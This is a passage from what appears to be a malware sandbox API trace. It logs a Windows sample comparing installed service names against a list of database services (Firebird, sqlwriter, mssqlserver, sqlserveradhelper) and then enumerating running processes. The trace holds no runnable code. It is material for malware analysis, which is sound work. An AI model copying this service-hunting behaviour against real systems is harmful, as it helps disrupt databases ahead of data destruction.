lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0130.578] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0130.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0130.578] lstrlenW (lpString="CryptSvc") returned 8 [0130.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0130.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0130.578] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0130.578] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0130.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0130.578] lstrlenW (lpString="CscService") returned 10 [0130.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0130.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0130.578] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0130.578] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0130.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0130.578] lstrlenW (lpString="DcomLaunch") returned 10 [0130.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0130.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0130.578] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0130.578] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0130.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0130.578] lstrlenW (lpString="Dhcp") returned 4 [0130.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0130.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0130.578] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0130.578] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0130.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0130.578] lstrlenW (lpString="Dnscache") returned 8 [0130.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0130.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0130.578] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0130.578] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0130.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0130.578] lstrlenW (lpString="DPS") returned 3 [0130.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0130.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0130.579] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0130.579] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0130.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0130.579] lstrlenW (lpString="eventlog") returned 8 [0130.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0130.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0130.579] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0130.579] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0130.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0130.579] lstrlenW (lpString="EventSystem") returned 11 [0130.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0130.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0130.579] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0130.579] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0130.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0130.579] lstrlenW (lpString="FontCache") returned 9 [0130.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0130.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0130.579] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0130.579] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0130.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0130.579] lstrlenW (lpString="gpsvc") returned 5 [0130.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0130.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0130.579] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0130.579] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0130.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0130.579] lstrlenW (lpString="iphlpsvc") returned 8 [0130.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0130.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0130.579] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0130.579] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0130.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0130.579] lstrlenW (lpString="LanmanServer") returned 12 [0130.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0130.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0130.580] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0130.580] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0130.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0130.580] lstrlenW (lpString="LanmanWorkstation") returned 17 [0130.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0130.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0130.580] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0130.580] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0130.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0130.580] lstrlenW (lpString="lmhosts") returned 7 [0130.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0130.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0130.580] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0130.580] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0130.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0130.580] lstrlenW (lpString="MMCSS") returned 5 [0130.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0130.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0130.580] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0130.580] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0130.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0130.580] lstrlenW (lpString="MpsSvc") returned 6 [0130.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0130.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0130.580] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0130.580] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0130.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0130.580] lstrlenW (lpString="Netman") returned 6 [0130.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0130.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0130.580] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0130.580] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0130.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0130.580] lstrlenW (lpString="netprofm") returned 8 [0130.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0130.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0130.580] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0130.581] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0130.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0130.581] lstrlenW (lpString="NlaSvc") returned 6 [0130.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0130.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0130.581] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0130.581] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0130.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0130.581] lstrlenW (lpString="nsi") returned 3 [0130.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0130.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0130.581] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0130.581] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0130.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0130.581] lstrlenW (lpString="PcaSvc") returned 6 [0130.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0130.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0130.581] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0130.581] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0130.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0130.581] lstrlenW (lpString="PlugPlay") returned 8 [0130.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0130.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0130.581] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0130.581] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0130.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0130.581] lstrlenW (lpString="Power") returned 5 [0130.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0130.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0130.581] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0130.581] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0130.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0130.581] lstrlenW (lpString="ProfSvc") returned 7 [0130.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0130.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0130.581] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0130.582] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0130.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0130.582] lstrlenW (lpString="RpcEptMapper") returned 12 [0130.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0130.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0130.582] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0130.582] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0130.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0130.582] lstrlenW (lpString="RpcSs") returned 5 [0130.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0130.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0130.582] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0130.582] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0130.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0130.582] lstrlenW (lpString="SamSs") returned 5 [0130.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0130.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0130.582] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0130.582] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0130.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0130.582] lstrlenW (lpString="Schedule") returned 8 [0130.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0130.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0130.582] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0130.582] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0130.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0130.582] lstrlenW (lpString="SENS") returned 4 [0130.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0130.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0130.582] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0130.582] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0130.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0130.582] lstrlenW (lpString="ShellHWDetection") returned 16 [0130.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0130.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0130.582] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0130.583] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0130.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0130.583] lstrlenW (lpString="Spooler") returned 7 [0130.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0130.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0130.583] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0130.583] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0130.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0130.583] lstrlenW (lpString="sppsvc") returned 6 [0130.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0130.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0130.583] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0130.583] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0130.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0130.583] lstrlenW (lpString="swprv") returned 5 [0130.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0130.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0130.583] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0130.583] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0130.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0130.583] lstrlenW (lpString="SysMain") returned 7 [0130.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0130.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0130.583] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0130.583] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0130.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0130.583] lstrlenW (lpString="Themes") returned 6 [0130.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0130.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0130.583] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0130.583] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0130.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0130.583] lstrlenW (lpString="TrkWks") returned 6 [0130.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0130.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0130.583] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0130.583] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0130.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0130.584] lstrlenW (lpString="UxSms") returned 5 [0130.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0130.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0130.584] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0130.584] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0130.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0130.584] lstrlenW (lpString="VSS") returned 3 [0130.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0130.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0130.584] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0130.584] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0130.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0130.584] lstrlenW (lpString="W32Time") returned 7 [0130.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="W32Time") returned -1 [0130.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="W32Time") returned -1 [0130.584] lstrcmpiW (lpString1="sqlwriter", lpString2="W32Time") returned -1 [0130.584] lstrcmpiW (lpString1="mssqlserver", lpString2="W32Time") returned -1 [0130.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="W32Time") returned -1 [0130.584] lstrlenW (lpString="WdiServiceHost") returned 14 [0130.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0130.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0130.584] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0130.584] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0130.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0130.584] lstrlenW (lpString="WdiSystemHost") returned 13 [0130.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0130.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0130.584] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0130.584] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0130.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0130.584] lstrlenW (lpString="WinDefend") returned 9 [0130.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0130.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0130.584] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0130.584] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0130.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0130.585] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0130.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0130.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0130.585] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0130.585] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0130.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0130.585] lstrlenW (lpString="Winmgmt") returned 7 [0130.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0130.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0130.585] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0130.585] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0130.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0130.585] lstrlenW (lpString="wscsvc") returned 6 [0130.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0130.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0130.585] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0130.585] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0130.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0130.585] lstrlenW (lpString="wuauserv") returned 8 [0130.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0130.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0130.585] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0130.585] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0130.585] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ac [0130.587] Process32FirstW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0130.588] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0130.589] lstrlenW (lpString="System") returned 6 [0130.589] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0130.590] lstrlenW (lpString="smss.exe") returned 8 [0130.590] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0130.591] lstrlenW (lpString="csrss.exe") returned 9 [0130.591] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0130.592] lstrlenW (lpString="wininit.exe") returned 11 [0130.592] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0130.592] lstrlenW (lpString="csrss.exe") returned 9 [0130.592] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0130.594] lstrlenW (lpString="winlogon.exe") returned 12 [0130.594] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0130.595] lstrlenW (lpString="services.exe") returned 12 [0130.595] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0130.596] lstrlenW (lpString="lsass.exe") returned 9 [0130.596] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0130.596] lstrlenW (lpString="lsm.exe") returned 7 [0130.596] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.597] lstrlenW (lpString="svchost.exe") returned 11 [0130.597] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.598] lstrlenW (lpString="svchost.exe") returned 11 [0130.598] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.599] lstrlenW (lpString="svchost.exe") returned 11 [0130.599] Process32NextW (in: hSnapshot=0x1ac, lppe=0x37fcac | out: 